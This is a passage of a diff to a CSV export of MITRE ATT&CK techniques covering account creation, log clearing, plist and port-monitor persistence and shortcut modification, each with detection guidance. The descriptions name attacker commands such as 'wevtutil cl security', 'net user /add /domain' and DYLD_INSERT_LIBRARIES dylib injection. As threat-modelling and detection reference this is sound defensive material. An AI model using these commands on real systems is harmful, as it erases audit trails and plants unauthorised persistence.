Analysts should monitor Registry settings for unauthorized changes.",,,,,False,,,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-01-29 17:32:30.711000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) +There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.",False,"['Administrator', 'User']","['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-29T17:32:30.711Z,2021-03-16T12:47:00.192Z,Cloud Account,"Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) -Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1136/003', external_id='T1136.003'), ExternalReference(source_name='Microsoft O365 Admin Roles', description='Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', url='https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide'), ExternalReference(source_name='Microsoft Support O365 Add Another Admin, October 2019', description='Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', url='https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'), ExternalReference(source_name='AWS Create IAM User', description='AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.', url='https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html'), ExternalReference(source_name='GCP Create Cloud Identity Users', description='Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.', url='https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554'), ExternalReference(source_name='Microsoft Azure AD Users', description='Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.', url='https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory')]",attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-16 12:47:00.192000+00:00,Cloud Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Praetorian', 'Microsoft Threat Intelligence Center (MSTIC)']",['User Account: User Account Creation'],,,,,Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.,,,,,True,,,['Administrator'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,1.1 -2020-01-28 17:11:54.034000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs) +Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/003', 'external_id': 'T1136.003'}, {'source_name': 'Microsoft O365 Admin Roles', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'}, {'source_name': 'AWS Create IAM User', 'description': 'AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html'}, {'source_name': 'GCP Create Cloud Identity Users', 'description': 'Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.', 'url': 'https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554'}, {'source_name': 'Microsoft Azure AD Users', 'description': 'Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Praetorian', 'Microsoft Threat Intelligence Center (MSTIC)']",['User Account: User Account Creation'],,Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.,True,['Administrator'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T17:11:54.034Z,2020-03-29T21:23:51.886Z,Clear Linux or Mac System Logs,"Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs) * /var/log/messages:: General and system-related messages * /var/log/secure or /var/log/auth.log: Authentication logs @@ -1937,8 +2149,8 @@ Adversaries may create accounts that only have access to specific cloud services * /var/log/cron.log: Crond logs * /var/log/maillog: Mail server logs * /var/log/httpd/: Web server access and error logs -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/002', external_id='T1070.002'), ExternalReference(source_name='Linux Logs', description='Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.', url='https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/')]",attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 21:23:51.886000+00:00,Clear Linux or Mac System Logs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Deletion', 'File: File Modification', 'Command: Command Execution']",,,,,File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.,,,,,True,,,,"['Linux', 'macOS']",,,,1.0 -2020-01-28 17:05:14.707000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/002', 'external_id': 'T1070.002'}, {'source_name': 'Linux Logs', 'description': 'Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.', 'url': 'https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Deletion', 'File: File Modification', 'Command: Command Execution']",,File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.,True,,"['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T17:05:14.707Z,2020-03-29T21:17:03.732Z,Clear Windows Event Logs,"Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. The event logs can be cleared with the following utility commands: @@ -1946,23 +2158,21 @@ The event logs can be cleared with the following utility commands: * wevtutil cl application * wevtutil cl security -These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1070/001', external_id='T1070.001'), ExternalReference(source_name='Microsoft wevtutil Oct 2017', description='Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.', url='https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil'), ExternalReference(source_name='Microsoft EventLog.Clear', description='Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.', url='https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx'), ExternalReference(source_name='Microsoft Clear-EventLog', description='Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.', url='https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog')]",attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 21:17:03.732000+00:00,Clear Windows Event Logs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Command: Command Execution']","['Anti Virus', 'Host Intrusion Prevention Systems', 'Log Analysis']",,,,"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: ""The audit log was cleared"").",,,,,True,,,['Administrator'],['Windows'],,['Clearing the Windows event logs requires Administrator permissions'],,1.0 -2020-01-28 14:05:17.825000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account. - -Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1136/002', external_id='T1136.002'), ExternalReference(source_name='Microsoft User Creation Event', description='Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720')]",attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-23 18:12:36.696000+00:00,Domain Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",,,,,True,,,['Administrator'],"['Windows', 'macOS', 'Linux']",,,,1.0 -2020-01-28 13:50:22.506000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. +These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/001', 'external_id': 'T1070.001'}, {'source_name': 'Microsoft wevtutil Oct 2017', 'description': 'Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil'}, {'source_name': 'Microsoft EventLog.Clear', 'description': 'Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.', 'url': 'https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx'}, {'source_name': 'Microsoft Clear-EventLog', 'description': 'Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.', 'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Command: Command Execution']","['Anti Virus', 'Host Intrusion Prevention Systems', 'Log Analysis']","Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: ""The audit log was cleared"").",True,['Administrator'],['Windows'],1.0,,['Clearing the Windows event logs requires Administrator permissions'],,,,, +attack-pattern,attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T14:05:17.825Z,2020-03-23T18:12:36.696Z,Domain Account,"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account. -Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1136/001', external_id='T1136.001'), ExternalReference(source_name='Microsoft User Creation Event', description='Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720')]",attack-pattern--635cbe30-392d-4e27-978e-66774357c762,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-23 18:04:20.780000+00:00,Local Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for processes and command-line parameters associated with local account creation, such as net user /add or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.",,,,,True,,,['Administrator'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-01-24 20:02:59.149000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/002', 'external_id': 'T1136.002'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",True,['Administrator'],"['Windows', 'macOS', 'Linux']",1.0,,,,,,, +attack-pattern,attack-pattern--635cbe30-392d-4e27-978e-66774357c762,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-28T13:50:22.506Z,2021-08-12T13:04:14.248Z,Local Account,"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. -Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) +Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1136/001', 'external_id': 'T1136.001'}, {'source_name': 'Microsoft User Creation Event', 'description': 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.",True,['Administrator'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T20:02:59.149Z,2021-10-15T14:46:47.383Z,Plist Modification,"Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) -A specific plist used for execution at login is com.apple.loginitems.plist.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ""hide"" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/011', external_id='T1547.011'), ExternalReference(source_name='Sofacy Komplex Trojan', description=""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", url='https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='Adding Login Items', description='Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'), ExternalReference(source_name='Malware Persistence on OS X', description='Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='OSX.Dok Malware', description='Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', url='https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/')]",attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-03-30 00:51:59.629000+00:00,Plist Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation']",,,,,"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like ""Knock Knock"" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. +Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/011', 'external_id': 'T1547.011'}, {'source_name': 'fileinfo plist file description', 'description': 'FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.', 'url': 'https://fileinfo.com/extension/plist'}, {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Service: Service Creation', 'Command: Command Execution', 'File: File Modification', 'Process: Process Creation']",,"Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. -All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and allowed for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) +Monitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist. -Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",,,,,True,,,"['User', 'Administrator']",['macOS'],,,,1.0 -2020-01-24 19:46:27.750000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. +Identify new services executed from plist modified in the previous user's session. ",True,"['User', 'Administrator']",['macOS'],1.1,,,,,,, +attack-pattern,attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T19:46:27.750Z,2020-01-24T19:46:27.750Z,Port Monitors,"Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Registry key contains entries for the following: @@ -1971,37 +2181,38 @@ The Registry key contains entries for the following: * USB Monitor * WSD Port -Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/010', external_id='T1547.010'), ExternalReference(source_name='AddMonitor', description='Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.', url='http://msdn.microsoft.com/en-us/library/dd183341'), ExternalReference(source_name='Bloxham', description='Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.', url='https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-01-24 19:46:27.750000+00:00,Port Monitors,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Stefan Kanthak', 'Travis Smith, Tripwire']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. +Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/010', 'external_id': 'T1547.010'}, {'source_name': 'AddMonitor', 'description': 'Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/dd183341'}, {'source_name': 'Bloxham', 'description': 'Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.', 'url': 'https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Stefan Kanthak', 'Travis Smith, Tripwire']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']",,"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. -Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",,,['SYSTEM'],,True,,,"['SYSTEM', 'Administrator']",['Windows'],,,,1.0 -2020-01-24 19:00:32.917000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. +Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",True,"['SYSTEM', 'Administrator']",['Windows'],1.0,,,,['SYSTEM'],,, +attack-pattern,attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T19:00:32.917Z,2021-04-13T21:30:24.555Z,Shortcut Modification,"Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. -Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/009', external_id='T1547.009'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/132.html', external_id='CAPEC-132'), 